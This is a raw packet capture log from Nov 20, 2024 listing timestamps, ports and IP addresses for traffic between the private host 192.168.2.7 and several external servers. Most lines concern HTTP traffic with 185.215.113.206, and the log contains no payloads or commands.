Nov 20, 2024 21:05:46.672055006 CET	49836	443	192.168.2.7	172.183.192.109
Nov 20, 2024 21:05:46.672344923 CET	49836	443	192.168.2.7	172.183.192.109
Nov 20, 2024 21:05:46.672363997 CET	443	49836	172.183.192.109	192.168.2.7
Nov 20, 2024 21:05:46.730911970 CET	443	49831	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:46.731642008 CET	49831	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:46.731709957 CET	443	49831	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:46.732028008 CET	49831	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:46.732043028 CET	443	49831	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:46.788799047 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.788857937 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.788888931 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.788971901 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.789212942 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.789463043 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.789464951 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.789663076 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.790112972 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.790239096 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.790339947 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.790647030 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.791147947 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.791165113 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.791323900 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.791969061 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.791994095 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.792054892 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.792056084 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.792846918 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.792900085 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.792936087 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.793055058 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.793771029 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.793787003 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.793843031 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.793843031 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.794939041 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.795006990 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.795331955 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.795506954 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.795674086 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.795705080 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.795866966 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.796407938 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.796523094 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.796922922 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.797049999 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.797363997 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.797524929 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.797566891 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.798315048 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.798343897 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.798425913 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.798734903 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.799113035 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.799263954 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.799396038 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.799585104 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.800024986 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.800157070 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.800184965 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.800273895 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.800961018 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.801110983 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.801213980 CET	443	49834	152.195.19.97	192.168.2.7
Nov 20, 2024 21:05:46.801465988 CET	49834	443	192.168.2.7	152.195.19.97
Nov 20, 2024 21:05:46.801481962 CET	443	49834	152.195.19.97	192.168.2.7
Nov 20, 2024 21:05:46.801538944 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.801839113 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.801953077 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.802314997 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.802633047 CET	443	49834	152.195.19.97	192.168.2.7
Nov 20, 2024 21:05:46.802809954 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.802843094 CET	49834	443	192.168.2.7	152.195.19.97
Nov 20, 2024 21:05:46.802962065 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.802989960 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.803100109 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.803666115 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.803807020 CET	49834	443	192.168.2.7	152.195.19.97
Nov 20, 2024 21:05:46.803817987 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.803829908 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.803926945 CET	443	49834	152.195.19.97	192.168.2.7
Nov 20, 2024 21:05:46.804120064 CET	49834	443	192.168.2.7	152.195.19.97
Nov 20, 2024 21:05:46.804121017 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.804126978 CET	443	49834	152.195.19.97	192.168.2.7
Nov 20, 2024 21:05:46.804527998 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.804894924 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.805039883 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.805237055 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.805427074 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.805612087 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.805891037 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.806318045 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.806411982 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.806765079 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.806894064 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.807101011 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.807212114 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.807224035 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.808090925 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.808109999 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.808226109 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.809025049 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.809036970 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.809047937 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.809108019 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.809108019 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.809912920 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.810404062 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.810420990 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.810503960 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.810838938 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.810851097 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.810965061 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.811707973 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.811784983 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.811810017 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.812014103 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.812625885 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.812808037 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.812987089 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.813534975 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.813738108 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.813829899 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.814383984 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.814542055 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.814595938 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.814698935 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.815264940 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.815376043 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.815490961 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.816169977 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.816346884 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.816432953 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.816576958 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.817070961 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.817207098 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.817450047 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.817786932 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.817975044 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.818099976 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.818850040 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.819737911 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.819804907 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.819818020 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.819828987 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.819936037 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.820662022 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.820878029 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.821000099 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.821574926 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.821808100 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.821846962 CET	443	49832	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:46.822079897 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.822119951 CET	49832	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:46.822133064 CET	443	49832	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:46.822163105 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.822542906 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.822658062 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.822813034 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.823360920 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.823590040 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.823591948 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.823683023 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.824287891 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.824290991 CET	443	49832	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:46.824376106 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.824472904 CET	49832	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:46.824685097 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.824951887 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.825112104 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.825391054 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.825417042 CET	49832	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:46.825418949 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.825498104 CET	443	49832	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:46.825596094 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.825624943 CET	49832	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:46.825632095 CET	443	49832	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:46.826221943 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.826838017 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.827027082 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.827065945 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.827078104 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.827136993 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.827868938 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.827996969 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.827997923 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.828064919 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.828939915 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.829078913 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.829150915 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.829150915 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.829675913 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.829746008 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.829786062 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.829854012 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.830538034 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.830884933 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.830919027 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.831268072 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.831429005 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.831604004 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.831809998 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.832389116 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.832401037 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.833228111 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.833228111 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.833451986 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.833478928 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.833647966 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.834275961 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.834769011 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.834769964 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.835021019 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.835061073 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.835376978 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.835567951 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.835879087 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.836049080 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.846292973 CET	49834	443	192.168.2.7	152.195.19.97
Nov 20, 2024 21:05:46.873963118 CET	443	49827	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:46.875247955 CET	49827	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:46.875247955 CET	49827	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:46.875264883 CET	443	49827	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:46.875273943 CET	443	49827	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:46.876938105 CET	49832	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:46.950978994 CET	443	49833	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:46.951328993 CET	49833	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:46.951348066 CET	443	49833	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:46.954996109 CET	443	49833	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:46.955329895 CET	49833	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:46.955745935 CET	49833	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:46.955910921 CET	49833	443	192.168.2.7	13.107.246.40
Nov 20, 2024 21:05:46.955918074 CET	443	49833	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:46.955935001 CET	443	49833	13.107.246.40	192.168.2.7
Nov 20, 2024 21:05:46.980814934 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.980829954 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.981184959 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.981245995 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.981317043 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.981815100 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.982175112 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.982187986 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.982270002 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.982270002 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.983084917 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.983097076 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.983331919 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.983931065 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.983943939 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.984270096 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.984855890 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.984941959 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.985003948 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.985003948 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.985729933 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.985804081 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.985857964 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.985857964 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.986601114 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.986716986 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.986721039 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.987133026 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.987543106 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.987556934 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.987613916 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.987613916 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.988383055 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.988481998 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.989331007 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.989430904 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.989470005 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.989620924 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.990247965 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.990261078 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.991173983 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.991183996 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.991241932 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.991241932 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.991955996 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.992086887 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.992163897 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.992275953 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.992872000 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.993288040 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.993617058 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.993798971 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.993951082 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.993967056 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.994057894 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.994710922 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.994807959 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.994896889 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.994976997 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.995570898 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.995635986 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.995671988 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.996437073 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.996474981 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.996558905 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.996678114 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.997742891 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.999530077 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.999661922 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.999682903 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.999819994 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.999839067 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.999902010 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.999912977 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.999933004 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:46.999958992 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:46.999991894 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:47.000247002 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:47.000288010 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:47.000471115 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:47.000490904 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:47.000638962 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:47.001218081 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:47.001295090 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:47.001390934 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:47.001527071 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:47.001970053 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:47.002165079 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:47.002202988 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:47.002265930 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:47.002871037 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:47.002933979 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:47.003070116 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:47.003216982 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:47.003766060 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:47.003833055 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:47.003952026 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:47.004007101 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:47.004627943 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:47.004757881 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:47.004765034 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:47.005109072 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:47.005551100 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:47.005803108 CET	49780	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:47.005839109 CET	80	49780	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:47.006105900 CET	49780	80	192.168.2.7	185.215.113.206
